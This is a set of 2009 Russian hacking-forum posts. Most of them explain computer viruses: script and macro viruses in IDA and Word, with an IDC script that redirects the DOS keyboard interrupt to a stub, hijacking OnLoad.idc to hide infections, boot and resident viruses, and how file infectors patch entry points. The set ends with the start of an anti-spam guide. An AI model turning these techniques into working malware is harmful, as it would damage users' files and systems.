/>обработчика клавиатурного прерывания (мы ведь можем писать в память!) таким образом,<br />что бы он указывал на наш код. Рано или поздно пользователь нажмет на клавишу и вирус<br />получит управление.</p> <p>static MyGetByte(a)<br />{<br />return (_peek(a) &amp; 0xFF);<br />}<br />static MyGetWord(a)<br />{<br />return MyGetByte(a)+(MyGetByte(a+1)*0x100);<br />}<br />static GetNextMCB(a)<br />{<br />a=a+ (MyGetWord(a+3) &lt;&lt;4) +0x10;<br />return a;<br />}<br />static GoToMCB(a)<br />{<br />if (_peek(a)!='M') return 0;<br />while(1)<br />{<br />a=GetNextMCB(a);<br />if (_peek(a)=='Z') return 1;<br />if (_peek(a)!='M') return 0;<br />}<br />}<br />static FindFirstMCB()<br />{<br />auto a;<br />a=0x0;<br />while(1)<br />if (GoToMCB(++a)) break;<br />return a;<br />}<br />static FindFreeMCB()<br />{<br />auto a;<br />a=FindFirstMCB();<br />while(MyGetWord(a+1))<br />{<br />a=GetNextMCB(a);<br />if (MyGetByte(a)=='Z') return 0;<br />}<br />return a;<br />}<br />static SaveInt0x16(a)<br />{<br />auto temp;<br />for (temp=0;temp&lt;4;temp++)<br />_poke(a+temp,MyGetByte(0x16*4+temp));<br />}<br />static SetNewInt0x16(a)<br />{<br />_poke(0x16*4,a);<br />a=a&gt;&gt;4;<br />a=a &amp; 0xFFF0;<br />_poke(0x16*4+1,0);<br />_poke(0x16*4+2,a);<br />a=a&gt;&gt;8;<br />_poke(0x16*4+3,a);<br />}<br />static CopyEject(a)<br />{<br />_poke(a,0xCF);<br />}<br />static SetOldInt0x16(a)<br />{<br />auto temp;<br />for (temp=0;temp&lt;4;temp++)<br />_poke(0x16*4+temp,MyGetByte(a+temp));<br />}<br />static main()<br />{<br />auto a;<br />a=FindFreeMCB();<br />if (!a) return;<br />Message(&quot;Найден свободный блок по адресу %x \n&quot;,a);<br />if (!AskYN(&quot;NO&quot;,&quot;Сейчас будет инфицирован Ваш компутер \n Вы в самом деле хотите<br />это сделать? Подтвердите!&quot;))return;<br />if (!AskYN(&quot;NO&quot;,&quot;Подтвердите необходимость инфицирования еще раз!&quot;)) return;<br />SaveInt0x16(a);<br />CopyEject(a+4);<br />SetNewInt0x16(a+4);<br />AskYN(&quot;X&quot;,&quot;Поздравляем Вас с успешной активацией вируса!&quot;);<br />SetOldInt0x16(a);<br />}</p> <p>Схематичный пример показан выше. Тело вируса в нем отсутствует, и весь смысл сводится<br />лишь к тому, что бы передать управление процессора на команду возврата из программы<br />'ret'. Работать это будет исключительно в среде чистой MS-DOS (консольный режим win32<br />за таковой не считается) и поэтому представляет не более чем познавательный интерес.</p> <p>Но существуют экземпляры, которые функционируют и в казалось бы защищенной Windows NT.<br />Да, выйти за пределы третьего кольца защиты там невозможно (ну будем считать, что<br />невозможно) ввиду архитектуры самой системы, но вирусу для многих действий и третьего<br />кольца хватит с лихвой.</p> <p>В IDA функции _peek и _poke недокументированны, но тем не менее присутствуют и<br />являются ключевой частью ядра для собственных нужд дизассемблера. Можно ли<br />гарантировать, что подобных &quot;лазеек&quot; нет в других пакетах?</p> <p>Разумеется нет! История не однократно убеждала в том, что незакрытые люки и отладочные<br />функции явление привычное. К тому же большинство из них обнаруживаются элементарным<br />образом. Например, если посмотреть какие функции экспортирует IDA.WLL, то среди них<br />обнаружится не только _peek и _poke, но и даже _call! Таким образом обеспечивая всю<br />необходимую злоумышленнику низкоуровневую работу.</p> <p>Перейдем теперь ко второй группе - существующей только в рамках одного приложения. За<br />кажущейся внешней безопасностью такие вирусы могут нанести даже более существенный<br />урон, ибо порча исполняемых файлов всегда может быть ликвидирована переустановкой<br />программного обеспечения с дистрибьютивных дисков, то искажение документов<br />пользователя часто оказывается необратимым.</p> <p>Рассмотрим типичную ситуацию - пишет человек книгу, которую периодически резервирует<br />на внешний носитель (дискету, скажем). При этом, разумеется, новая копия затирает<br />предыдущую. Если в этот момент целостность сохраняемого документа была нарушена то<br />восстановление окажется невозможным (ведь оригинал затерт). Что стоит вирусу в<br />огромном документе стереть несколько фрагментов или исказить их? Маловероятно, что<br />пользователь на это сразу обратит внимание. А когда обратит, то скорее всего будет уже<br />поздно и потребуется тщательно перечитать весь текст, проводя утомительную работу по<br />его восстановлению. То же можно отнести и к электронным таблицам, например. Или<br />текстам программ (на платформах Visual Studio, IDA и т.д.)</p> <p>Проблема в невозможности отличить действия пользователя от действий вируса. Макрос<br />оболочки FAR, удаляющий все файлы без подтверждения будет работать и защищенных<br />операционных системах, наследуя права пользователя, и в отличие от &quot;обычных&quot; вирусов<br />он не вызовет подозрений при установке. Да и антивирусы его не заметят. Ну никто не<br />собирается поддерживать все программные пакеты, включая такие незначительные как FAR.</p> <p>Итак, макрокоманды. Записанные последовательности нажатий или сочетаний клавиш,<br />которые могут впоследствии выполняться автоматически. Это настолько удобно, что<br />сегодня поддерживается практически всеми пакетами. Отказываться от этой возможности<br />бессмысленно, но необходимо по крайней мере обеспечить такой уровень безопасности, что<br />бы вирус не мог создавать и назначать горячие клавиши макросам самостоятельно.</p> <p>К сожалению в жизни макросы настолько тесно связаны с интегрируемым языком, что<br />последний называют макроязыком, чаще чем скриптами. Вирусу ничего не стоит, скажем, на<br />клавишу Insert &quot;подцепить&quot; последовательность в стиле &quot;Выделить все&quot;, &quot;удалить&quot;,<br />&quot;записать&quot;. После чего пользователю остается только рвать на себе волосы.</p> <p>В IDA нет подобных функций и никакого программного управления макросами там нет. Все<br />они должны быть непосредственно заданы в файле idatui.cfg или введены с клавиатуры.<br />Однако, это ограничение для вирусов &quot;прозрачно&quot;. Они открывают нужный файл, записывают<br />в него вредоносный макрос и_</p> <p>Другие пакеты имеют схожие проблемы с безопасностью. Некоторые из них, как например<br />FAR, хранят макросы в реестре. Вирус может либо импортировать новую запись в реестр,<br />либо воспользоваться функциями API для его модификации. И то и то современные<br />приложения обычно предоставляют скриптам в свое распоряжение.</p> <p>Кроме того, существует такое понятие, как эмуляция ввода. Для этого достаточно послать<br />окну соответствующую серию сообщений. Причем никто не запрещает выходить за пределы<br />родительского окна и посылать сообщения любому на свой выбор. Для этого достаточно<br />воспользоваться функцией Win32 API FindWindow.</p> <p>Чаще всего предметом атак становиться эксплодер или проводник Windows. Вирус может<br />использовать его для размножения и внедрения в другие объекты, а так же для<br />всевозможных &quot;шуток&quot; типа трясущихся или &quot;убегающих от курсора&quot; окон.</p> <p>Заявление, что такое возможно из языка IDA вызвало большой скепсис среди разработчиков<br />антивирусов. Действительно, ее язык не поддерживает функции win32 API и никак не<br />представляет такой возможности. На само же деле это возможно. Возможно благодаря<br />функции _CALL, которая передает управление по указанному физическому адресу. Впрочем,<br />задача вычисления адресов требуемых функций, и передача параметров (call никаких<br />параметров не принимает и не возвращает) достаточно нетривиальна и интересна сама по<br />себе. Не вникая в подробности технической реализации, оптимальное решение заключается<br />в поиске свободного фрагмента памяти (а под win32 это уже весьма нетривиальная задача<br />и для ее решения необходимо быть осведомленным во многих тонкостях организации памяти)<br />и копировании в него простейшего менеджера, обеспечивающего обмен параметрами и<br />вычисления необходимого адреса процедуры. Разумеется, что ничего не остается, кроме<br />как воспользоваться GetProcAddress. Весь фокус в том &quot;волшебном&quot; способе получения<br />адреса этой функции. Зная его ничего не стоит вызывать из IDA все богатство функций<br />win32 API. В этом случае возможности вируса будут ограничиваться лишь злобностью или<br />фантазией злоумышленника.</p> <p>Все описанные выше вирусы можно назвать неризедентыми, поскольку они активны только в<br />момент запуска макроса или скрипта. Однако, существуют и такие, что остаются в течении<br />всего сеанса работы.</p> <p>Что бы получать управление вирусу приходится перехватывать одно из многочисленных<br />событий, таких, например, открытие файла или документа, начало и завершения сеанса<br />работы. По аналогии с древними &quot;досовскими&quot; вирусами это можно назвать перехватом<br />прерываний. Хотя в данном случае рассматриваются уже не прерывания, но с точки зрения<br />вируса нет существенной разницы, да и обработка их осуществляется аналогично.</p> <p>Отметим, что только резидентные вирусы способны стелсироваться. Для этого они должны<br />грузиться по возможности раньше остальных программ. В IDA файл IDA.IDC автоматически<br />выполняется каждый раз при запуске. Очень часто он становиться объектом атаки вирусов.<br />К счастью он состоит не многим более десятка строк и любые посторонние включения<br />нетрудно заметить. Впрочем, это не характерно для других приложений. Часто число строк<br />в стартовых файлах (то есть файлах инициализации) очень велико и их нельзя отключить<br />без ущерба для работы системы. Чем больше файл, тем легче затеряться в нем вирусу.<br />Особенно, если приложение не озабоченно проверкой целостности своего хозяйства.</p> <p>Стоить отдать должное тем разработчикам, которые из соображений политики безопасности<br />хотя бы предоставляют возможность отключения обработки макросов, скриптов и событий.<br />Word на самом деле не относиться к их числу. Генерация событий не отключается.<br />Блокируется лишь выполнение макросов. При этом существует достаточно много способов<br />перехватить управление на себя (ведь события все продолжают генерироваться и<br />обрабатываться!) То что пока нет известных вирусов, реализующих такие идеи, еще не<br />повод беспечно считать, что их не будет в и дальнейшем.</p> <p>Впрочем, разработчикам антивирусов вероятно это известно, более того даже имеют<br />готовые модули для интеграции в свой продукт, но не делают этого. Почему? Не хотят<br />вирусописателям дарить лишние идеи. Ждут пока те до этого додумаются сами. Это по<br />официальным данным.</p> <p>А по неофициальным - просто дают понять значимость новых версий и необходимость<br />технической поддержки. Какая разница догадаются вирусописатели до новой идеи сегодня<br />или через день. А вот пользователь страдает. Его любимый антивирус не защищает от<br />новых насекомых, а ведь мог бы_.</p> <p>В этот отношении IDA аналогична. Файл 'OnLoad.idc' выполняется при любой загрузке<br />анализируемых файлов в дизассемблер. Следовательно, вирус может это перехватить и<br />представить файл как незараженный.</p> <p>Такие вирусы действительно существуют. Они поражают PE файлы windows и отличаются от<br />&quot;обычных&quot; только тем, что так модифицируют 'OnLoad.idc', что с IDA неправильно<br />дизассемблирует зараженные файлы, следовательно и результаты анализа окажутся неверны.<br />Конечно, трудно поверить, что разработчики и исследователи вирусов могу допустить<br />такое на своем компьютере. Но где гарантия что беспечность не сыграет своей злой роли,<br />так что на это просто не обратят внимание? Тем более, что IDA широко используется для<br />анализа вирусов и противодействие ей это достаточно эффективный способ затруднить<br />анализ.</p> <p>Отсюда же возможно внедрение вируса во все дизассемблируемые файлы. Дело в том, что<br />IDA лишь однократно загружает файл в свою базу, а потом к нему уже никогда не<br />обращается. Неплохая мысль после окончания загрузки его инфицировать. Если до этого<br />момента файл был здоров, что и подтвердит дизассемблирование, то никто не<br />поинтересуется дальнейшей судьбой этого файла.</p> <p>Такое случилось в одной организации, когда уважаемая фирма подрядилось провести в оной<br />тщательный поиск вирусов и закладок. Юный хакер в это время сумел добраться по<br />локальной сети организации и модифицировать файл 'OnLoad.idc' (а поиск &quot;насекомых&quot;<br />проводился, разумеется, с помощью IDA). В результате ни одна закладка обнаружена не<br />была, да еще и оказались добавлены новые. Нельзя назвать мастером того, кто<br />досконально не знает своего инструмента. Его сильных и слабых сторон. К сожалению,<br />сегодня программные пакеты настолько сложны и велики, что просто не реально полностью<br />изучить их до появления новой кардинально переработанной версии.</p> <p>Следовательно, даже специалисты не застрахованы от атак злоумышленников. И это<br />случается на порядок чаще, чем того можно было предполагать. Ведь не все &quot;специалисты&quot;<br />профессионалы. Это такие же люди с присущими им слабостями и беспечностью.</p> <p>Только беспечностью объясняться вера в непогрешимость IDA. На самом же деле она, как и<br />любой другой программный пакет может быть заражена вирусами без ведома пользователя. И<br />если разработчики антивирусного обеспечения не изменят своего отношения к ситуации в<br />ближайшем времени, то вирусописатели могут склониться в сторону вирусов-скриптов для<br />узкоспециализированных продуктов.</p> <p>В этом случае нарушиться оперативность пополнения антивирусных баз и эпидемия рискует<br />охватить большое число пользователей и принести огромный убыток множеству фирм. Ведь<br />наработки профессионала стоят значительно дороже, чем множество игрушек на компьютере<br />&quot;общего назначения&quot;.</p> <p>К тому же если программы сегодня практически уже не копируют друг у друга, а<br />приобретают лицензионный диск (без шуток - мы говорим о высокооплачиваемых<br />профессионалах!) или идут непосредственно на сайт разработчика, то документы все<br />интенсивно копируют друг и друга!</p> <p>И этому воспрепятствовать никак нельзя! Сейчас стандартом для распространения<br />документов стал формат Word, электронных таблиц - Exel_ неудивительно, что<br />распространение макровирусов приняло характер эпидемии.</p> <p>Выходом является передача данных в &quot;чистом&quot; виде без макросов и любых автоматически<br />исполняемых модулей. Например, Word поддерживает RTF формат, в котором распространение<br />вирусов невозможно.</p> <p>Однако, необходимо убедиться, что это именно RTF, поскольку активный вирус может<br />перехватить управление и сохранить файл как документ ворд с макросами, но с<br />расширением 'rft'. Word проигнорирует несоответствие расширения с внутренним<br />содержанием и вирус продолжит свое существование.</p> <p>Но это не решает проблемы в том случае, когда требуется передача именно макросов или<br />даже сложных программ на из основе. Например, для Exel существует много<br />бизнес-программ, состоящих из тысяч строк кода. Затеряться в них вирусу не составит<br />никаких трудностей. Причем, если исполняемые файлы инфицируются всего несколькими<br />путями, то в макро-программы вирусы внедряются в любую точку кода или процедуры.<br />Поэтому написание эвристических анализаторов представляет неразрешимую на сегодня<br />проблему.</p> <p>Браузеры так же поддерживают скриты Бацика и Java, не считая остальных команд<br />появившихся в результате интеграции с операционной системой. Для них могут<br />использоваться многие приведенные выше приемы прорыва за пределы виртуальной машины. И<br />ведь Интернет и HTML вирусы уже существуют не первый день и наблюдают активное<br />пополнение в своем полку.</p> <p>Антивирусные средства не могут быть эффективными против них. Можно охватить<br />одно-два-три распространенных приложения, но сколько при этом останутся за кадром, где<br />вирусы смогут бесконтрольно плодится и делать все что им вздумается?</p> <p>Решение проблемы заключается не в совершенствовании антивирусов, а в усилении<br />безопасности со стороны разработчиков программных пакетов. Прежде всего необходимо<br />раздельно сохранять макросы и содержимое документов. Причем макросы должны<br />записываться в обычный текстовой файл, изучить которой можно средствами гарантирующими<br />неискаженное отображение содержимого. Виртуальность интерпретаторов необходимо усилить<br />и в первую очередь вирутализировать файловый ввод \ вывод или вообще отказаться от<br />него перейдя к концепции синхронных и асинхронных потоков. Очень заманчиво<br />воспользоваться появившимся в Windows 95 пространством имен. Суть его заключается в<br />том, что приложения оперируют не с физическими файлами, а с объектами OLE. Грубо<br />говоря можно сделать так, что при перезаписи файла потребуется разрешение от самого<br />файла!</p> <p>Но даже такие меры не позволят полностью искоренить вирусы, а только затормозить их<br />развитие и немного обезопасить пользователя. Как бы ни совершенствовались системы<br />защиты, всегда найдутся способы их обойти. Даже в тех случаях, когда это будет<br />невозможно. Существуют же &quot;психологические&quot; вирусы. Да, на полном серьезен без шуток.<br />Такие вирусы есть. Правда летальных исходов не было, но кто гарантирует, что для<br />некоторых людей со слабым сердцем вирус окажется безвреден?</p> <p>Разумеется, речь идет о так называемых &quot;письмах&quot; счастья и прочей подобной чепухе,<br />посящей разослать себя по многочисленным адресами. И ведь рассылают. И не только<br />рассылают! Еще форматируют жесткие диски и хватаются за сердце при сообщении &quot;все ваши<br />файлы заражены&quot;.</p> <p>Злоумышленники часто пишут от чужого имени и предлагают выполнить команды в стиле<br />&quot;deltree&quot; для удаления вируса с диска. Защититься от них практически невозможно. В IDA<br />некоторые &quot;насекомые&quot; распространяются через человека, то есть сообщают какие операции<br />стоит ему выполнить, что бы скрип заработал. Разумеется, что в ряде случаев эти<br />требования выполняются даже высокопрофессиональными специалистами!</p> <p>Что же тогда говорить о простых пользователях? В одной электронной библиотеке долгое<br />время лежат файл в формате Word, при загрузке которого появлялось сообщение, что для<br />его чтения нужно использовать другую версию программы или сделать такие то действия.<br />Как нетрудно догадаться, если пользователь не был сильно продвинут в компьютерах, то<br />скоро вирус оказывался на его жестком диске, вопреки всем системам безопасности. Вирус<br />же сам просил пользователя совершить завуалированную последовательность действий,<br />приводящую к их отключению.</p> <p>А потому, разработчики антивирусов в равной мере должны защищаться как от вирусов, так<br />и от самих пользователей. Впрочем, от последних даже сильнее. Необходимо по крайней<br />мере использовать не отключаемую защиту и ни в коем случае не доверять пользователю<br />полного контроля над системой.</p> <p>Массовая компьютеризация привела к тому, что большинство пользователей не обладают<br />даже минимальными познаниями своей вычислительной техники, да и администраторы<br />частенько то же. До тех пор пока не повыситься уровень компьютерной грамотности<br />ситуация не изменится к лучшему.</p> <p>Вся беда заключается в том, что сложность программного обеспечения с каждым днем все<br />растет, а вместе с ней и время необходимое для полного изучения. Если с интерфейсом<br />кое-как методом проб и ошибок все же разбираются, то возможности интегрированных<br />языков часто остаются &quot;за кадром&quot;.</p> <p>Известный редактор Мульти-Едит написан полностью на собственном языке и его<br />возможности поистине безграничны. При этом редко кто хотя бы в общих чертах<br />представляет себе, что это такое и какая опасность может грозить.</p> <p>А плагины? Идея возможности наращивания функциональных возможностей приложения за счет<br />подключения внешних модулей завоевала сердца всех разработчиков. Последние версии IDA<br />так же поддерживают ее.</p> <p>Парадоксально, что мало кто задумывается, что раз плагины содержат &quot;голый&quot; исполняемый<br />код, то вирусы могут великолепно избирать их объектами для атаки. Или любой плагин<br />может содержат закладку или троянский компонент.</p> <p>Но вот только на вирусы их не поверяют. А впрочем, какие антивирусы это поддерживают?<br />Десятки ни с чем не совместимых форматов не вызывают энтузиазма у разработчиков. А<br />напрасно.</p> <p>Широко известны случаи распространения вирусов через дополнения к самим антивирусам!<br />Злоумышленнику не надо даже модифицировать файл, вызывая протест со стороны мониторов<br />и дисковых ревизоров. Достаточно только скопировать его в нужный каталог или попросить<br />об этом пользователя.</p> <p>Что будет дальше? Это зависит только от фантазии и агрессивности злоумышленника.<br />Технически противостоять ситуации антивирусная индустрия не в силах. Так закончится ли<br />когда-нибудь это смутное время вирусных атак и эпидемий? Ведь победило же человечество<br />чуму, холеру_ сейчас борется со СПИДом.</p> <p>Чем же сложнее победить человеческие творения? Дело в том, что СПИД он один, а<br />человечества очень много миллиардов. Как бы он ни мутировал и не изворачивался -<br />победить его вопрос времени.</p> <p>А компьютерные вирусы пишутся не один, а многими тысячами людей и еще больше хотя их<br />писать, но в меру своих умственных способностей не могут. Вот так и рождаются все<br />многочисленные троянские программы, банально форматирующие диск.</p> <p>Специалистов по антивирусам гораздо меньше и они просто не в силах контролировать<br />ситуацию, разрываясь между желанием раскрутить юзера на бабки, обеспечить себя работой<br />на будущее ну и спасти человечество от эпидемии. Покупали бы люди их продукцию если бы<br />постоянно ни слышали леденящие душу истории об очередной распространяющейся со<br />скоростью лесного пожара, заразе?</p> <p>Пока эта ситуация не измениться вирусы продолжат свое существование. Ведь мы страдаем<br />не от программного кода, а от агрессии человеческой. Победить вирусов, это значит<br />победить злобу на Земле. Но наступит ли такой момент, что ближний ближнему своему не<br />возжелает зла? Ведь компьютер (вирус то есть) это просто инструмент. Точно такой как<br />нож, кастет, пистолет.</p> <p>Бессмысленно сражаться с вирусами. Бесполезно сажать и наказывать их авторов. Агрессия<br />только умножает агрессию. Необходимо смотреть глубже и устранять те корни, от которых<br />и идет желание причинить другому вред. Вирусы, как выход агрессии не самых худший<br />вариант. Компьютерный террор оставляет после себя обратимые разрушения. Ведь все<br />уничтоженные данные всего можно восстановить (ну пусть с большими или меньшими<br />трудозатратами), а вот когда жертвами становятся живые люди, то оживить их даже<br />усилиями всего человечества невозможно.</p> <p>Но это уже не имеет отношения к компьютерам. А что антивирусы? Они должны оберегать<br />пользователя от ошибки или неверного шага. Только тогда называться они уже будут<br />&quot;антиюзеры&quot;. А что? Ведь пользователь свой главный враг. Никакой вирус не оживет, пока<br />его не запустит человеческая рука не осведомленного в тонкостях программирования<br />пользователя.</p> mybb@mybb.ru (admin) Wed, 05 Aug 2009 13:13:02 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=28#p28 http://hackzona.youbb.ru/viewtopic.php?pid=27#p27 <p>После написания первой части статьи мне захотелось продлить тему, в этой части я буду рассказывать про резидентные и загрузочные вирусы. Резидентные вирусы - это вирусы, которые после запуска зараженной программы копируют свой код в память и остаются там во время всего сеанса работы, такие вирусы намного заразнее остальных, так как успевают испортить больше файлов. Эти вирусы писать сложнее, чем другие, могут происходить конфликты оборудования при их выполнении, однако их создано очень много. Принцип заражения тот же, что и у нерезидентных вирусов.</p> <p>Однако большее внимание я хочу уделить загрузочным вирусам, эти вирусы копируют себя в нулевой сектор нулевой дорожки, если это дискета, или в первый сектор нулевой дорожки если жесткий диск, активизируются они при загрузке, так как система автоматически исполняет код, находящийся в вышеупомянутых секторах, так называемых BOOT секторах (или MBR, хотя это не совсем одно и то же, но не буду вдаваться в подробности). Поэтому я советовал бы все дискеты защитить от записи, это физически не даст дисководу записать данные на дискету и предотвратит дальнейшее распространение. Эти вирусы нет так распространены, не так часто мы носим дискеты друг к другу. Из-за этого просто загрузочных вирусов мало, они почти все резидентные, и, как только система читает свеженькую незащищенную дискету, вирус ее заражает. Также такие вирусы часто бывают файлово-загрузочными, они могут распространяться и способами, описанными в предыдущей части статьи. В памяти после загрузки эти вирусы находятся в старших адресах основной памяти (та, что меньше мегабайта). Чтобы заразиться таким вирусом надо или запустить программу, зараженную им (файлово-загрузочный вирус), или загрузиться с зараженной дискеты (просто загрузочный или файлово-загрузочный), заразиться с дискеты, которая не была вставлена при загрузке невозможно, но если вирус уже находится в памяти, то он заразит эту дискету, так что еще раз повторюсь, защитите от записи хотя бы загрузочную дискету.</p> <p>Есть еще так называемые полиморфные вирусы, которые каждый раз изменяют свой код так, что может не быть даже одинаковых цепочек байт, они могут быть любого типа, могут иметь функции и возможности нескольких классов вирусов, но эти вирусы очень сложны в написании, ведь надо обеспечить нормальную работу после превращения. Современные антивирусы способны если не обезвредить, то хотя бы предупредить пользователя о наличии вируса, благодаря эвристическому анализу, при котором код интерпретируется и, если антивирус предполагает, что это может быть вирус, запрещает доступ к этому файлу или просто предупреждает пользователя. На этом вроде все, осталось только сказать, чтобы вы оставляли свои пожелания и предложения у нас в гостевой книге, напишите там, какие статьи вы хотите увидеть.</p> mybb@mybb.ru (admin) Wed, 05 Aug 2009 13:11:31 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=27#p27 http://hackzona.youbb.ru/viewtopic.php?pid=26#p26 <p>Еще раз привет, мой друг, вот захотелось мне написать статью про компьютерные вирусы, ты скажешь &quot;хе, нашли дурочка&quot;, ан нет, не буду я тут писать про &quot;вирусы&quot;, которые стирают папочку MustDie, такой ты от балды и сам можешь написать, эти, так называемые вирусы, не размножаются, ну, разве что только по почте, однако они не могут заразить файлы. Так вот я и расскажу о настоящих Вирусах с большой буквы.</p> <p>Такие вирусы пишутся в основном на ассемблере, или на худой конец на Си, именно поэтому они имеют такой маленький размер (вспомни знаменитый Чих, последняя версия которого занимает чуть больше килобайта). Ассемблер позволяет полностью взять под контроль систему, причем не важно, стоит на компе винда или старенький дос, все зависит от автора. Краткая классификация вирей. Есть несколько типов таких вирусов: COM-вирусы, заражающие только комики, эти вирусы самые простые из всех (достаточно только сказать, что COM, который грузится и выходит, занимает 2 байта, такую легче писать в блокноте, или хекс-редакторе), EXE-вирусы, которые обычно умеют заражать все исполняемые файлы, то есть Dos'овские и виндозные NE (Win 3.x) и PE (Win 9x, ME, NT, 2000). Причем эти вирусы обычно пишутся профессиональными программистами, они имеют более сложную структуру и разрушительное действие (опять вспомним Win95.CIH, который полностью резидентный, он виснул на нулевом кольце привилегий процессора (есть такое у процов старше 286 в защищенном режиме, этот режим используют все современные ОСи), а операционку принижал в правах, вот так вот, винда отдыхает, кстати так делают некоторые продвинутые отладчики, например, SoftIce).</p> <p>Теперь кое что о самом заражении, вирус ищет в директории все исполняемые файлы, которые он способен заразить, проверяет, не заражены ли они этим же вирусом, а потом записывает в определенное место в программе свой код, не весь, только тот, что ему нужен для размножения и деструктивных действий. Вирусы могут записать свой код в начало, середину или конец файла, проще всего реализовать последнее, из-за этого часто размер программ слегка увеличивается, некоторые антивирусы проверяют контрольные суммы своих исполняемых файлов, и если они не совпадают с нормальными, выдают юзеру, что сам антивирус заражен. Есть и такие вирусы, которые записывают свой код в пустоты в файле, правда из таких я знаю только знаменитый Чих, файлы, зараженные этим вирусом, не увеличиваются в размерах.</p> <p>Подробнее о том, как вирус внедряется в файл. Некоторые более-менее продвинутые скажут, что если изменить EXE или COM файл, то ни фига не будет работать, в большинстве случаев, если делать это кривыми руками, то так и случится, но ведь мы рассматриваем вирусы, на то они и вирусы.... В общем заражение происходит так: вирус находит нужный файл, который подходит ему для заражения, записывает в какое-то место свой код, а вот дальше самое интересное и, наверное, самое сложное, точка входа в программу (место кода откуда прога начинает пахать) изменяется вирусом так, чтобы вместо программы начинал работать его (вируса) код, после того как он отработал (заразил другие файлы или ченить напортил), он передает управление программе, но чаще просто восстанавливает в памяти начало программы, и устанавливает регистр EIP процессора (такая штука которая указывает на адрес памяти следующей команды) на настоящую точку в проге, это все делается в оперативной памяти, на диске же файл не изменяется, таким образом если программа не проверяет свой файл на диске на изменения, она не сможет узнать, что она заражена, ведь в памяти нормальный код. Все это происходит с огромной скоростью, так что даже на самой допотопной машине невозможно заметить изменения работы.</p> <p>После всего этого вирус может начать деструктивные действия или ожидать даты, по наступлению которой он их начнет, чаще так и делается, чтобы вирус успевал распространиться, ведь, например, если он все удаляет с жесткого диска при первом запуске, то никто больше его не скопирует (или он сам не скопируется). Все, что выполняет вирус, зависит только от фантазии программера, вирус может удалить пару файлов, вывести сообщение, а может стереть все с диска и разрушить FlashBIOS (можете скачать в сети исходники чиха и посмотреть как он это делает).</p> <p>А как делаются антивирусы? Я скажу, что разные по-разному, но сидят дядьки в кабинетах, изучают изменения в файлах после заражения, изучают исходники вируса, потом скидывают это в базу и получается антивирус. Конечно это весьма символически написано, но статья не об этом, пишите на thm@inbox.ru если хотите увидеть статью про создание антивирусов и их работу. На этом извольте попрощаться.</p> mybb@mybb.ru (admin) Wed, 05 Aug 2009 13:10:56 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=26#p26 http://hackzona.youbb.ru/viewtopic.php?pid=25#p25 <p>Дмитрий Турецкий</p> <p>Электронная почта сегодня является, пожалуй, самым важным сервисом Интернета. По крайней мере, если бы пришлось выбирать, то я бы оставил именно ее. Расписывать почему это так, думаю, смысла не имеет, стоит отметить только два ее полезных свойства: дешевизна и скорость. <br />Однако, по почте приходят не только письма от друзей и знакомых, но и такая неприятная штука, как спам. А точнее, всевозможные коммерческие предложения, предложения вступить в очередную &quot;пирамиду&quot;, посетить страничку, &quot;письма счастья&quot; и т.д. и т.п. В принципе, большой беды в этом нет - ну подумаешь, прочитал да удалил, но... На самом деле не совсем так. <br />Во-первых, количество приходящего спама имеет тенденцию к увеличению. Когда вам приходит одно бредовое письмо в неделю к нему можно относиться как к шутке. Когда число таких писем переваливает за сотню в день - это вызывает как чисто технические сложности (спаммеры не особо ограничивают размер своих писем, а 100 писем по 50 Кб это пять мегабайт или полтора часа работы модема), так и достаточно сильное раздражение, а нервные клетки, как известно, не восстанавливаются. Во-вторых, спам, увы, достаточно эффективен и благодаря ему наверх вылезают компании и люди с весьма сомнительной репутацией и качеством услуг. В-третьих, в Интернете и так много мусора, а благодаря спаму его становится только больше - ведь спамят не только почтовые ящики, но и конференции, доски объявлений, поисковики... <br />Можно ли от спама избавиться? И да и нет. Нет - потому что уж больно это лакомый кусок для тех, кого моральные принципы не волнуют. Разослать пару миллионов писем вполне реально, риска - почти никакого (при соблюдении элементарных мер предосторожности), а даже если отреагирует на письмо один из тысячи - эффект окажется вполне заметен и окупит расходы. Надеяться на то, что у людей появится совесть - не стоит. <br />Можно попытаться сделать так, чтобы у авторов спама не было желания им пользоваться. Скажем, звонить по указанному телефону и говорить, что спаммить - нехорошо, а заодно и ничего не покупать. Увы, тоже тупиковый путь - если это явление (отказ от покупки) станет достаточно массовым, то спам быстро превратится в инструмент устранения конкурентов (такое уже случалось). <br />Остается только один путь - свести эффективность спама к минимуму, желательно, к нулю. Но от раздражения-то никуда не денешься... Значит надо постараться сделать так, чтобы спаммерские письма просто к нам не приходили. Но как? <br />Практически все советы по борьбе со спамом сводятся к рекомендациям завести ящик в какой-нибудь бесплатной службе, а когда на него начнет приходить слишком много спама, просто этот ящик закрыть и завести новый. Увы, этот способ применим далеко не всегда. Прежде всего, во многих случаях, ящик должен оставаться неизменным - скажем, тот, который на визитке, или корпоративный... Затем - многие службы сейчас просто не пропускают письма, отправленные с бесплатных сервисов - тоже, мера борьбы со спамом. Значит, придется светить настоящий адрес и, следовательно, рано или поздно он попадет в спаммерские базы. Ну и наконец, не все же такие умные с самого начала... У многих адрес уже &quot;засвечен&quot;. Что же им, так и читать весь приходящий бред? <br />О том, как с рассылкой спама борются провайдеры я писать не буду - судя по количеству приходящего спама меры эти не очень эффективные. Хотя, наверное, если бы их не было, то все было бы еще хуже. Тем более, что и среди провайдеров всегда найдутся те, кто согласится закрыть глаза на действия спаммера (за деньги, разумеется)... Значит, спасение утопающих - дело рук самих утопающих. <br />Разумеется, на рынке есть программы, занимающиеся фильтрацией почты. Но наиболее гибкие и эффективные из них рассчитаны на использование на сервере и простому пользователю не помогут. Есть службы, которые могут принимать вашу почту и фильтровать ее от спама, используя различные, в целом достаточно эффективные технологии, но такие службы, увы, платные. Причем, платить им надо регулярно. <br />Что же делать обычному пользователю, который сидит дома с модемом, не имеет кучи лишних денег и не хочет читать письма с предложениями посетить страничку очередной пирамиды или купить чудодейственный молоток, умеющий забивать кривые гвозди? Давайте попробуем заставить нашу почтовую программу нам помочь... <br />Дальнейшее я буду писать опираясь на почтовик The Bat!, который на мой взгляд, сегодня является одним из наиболее удобных в использовании. Одно из его достоинств - развитая система фильтров.<br /><img class="postimg" loading="lazy" src="http://pitachok.net/img/xak_53.jpg" alt="http://pitachok.net/img/xak_53.jpg" /><br />Начнем мы с того, что создадим папку &quot;спам&quot;. Мы не будем спам сразу удалять, т.к. при настройке фильтров почти наверняка получится так, что отфильтруются какие-то полезные письма, а вместо этого будем переносить отфильтрованные письма в эту папку. А уже в свойствах папки пропишем, что письма в ней надо хранить, скажем, 10 дней а потом - удалять.</p> 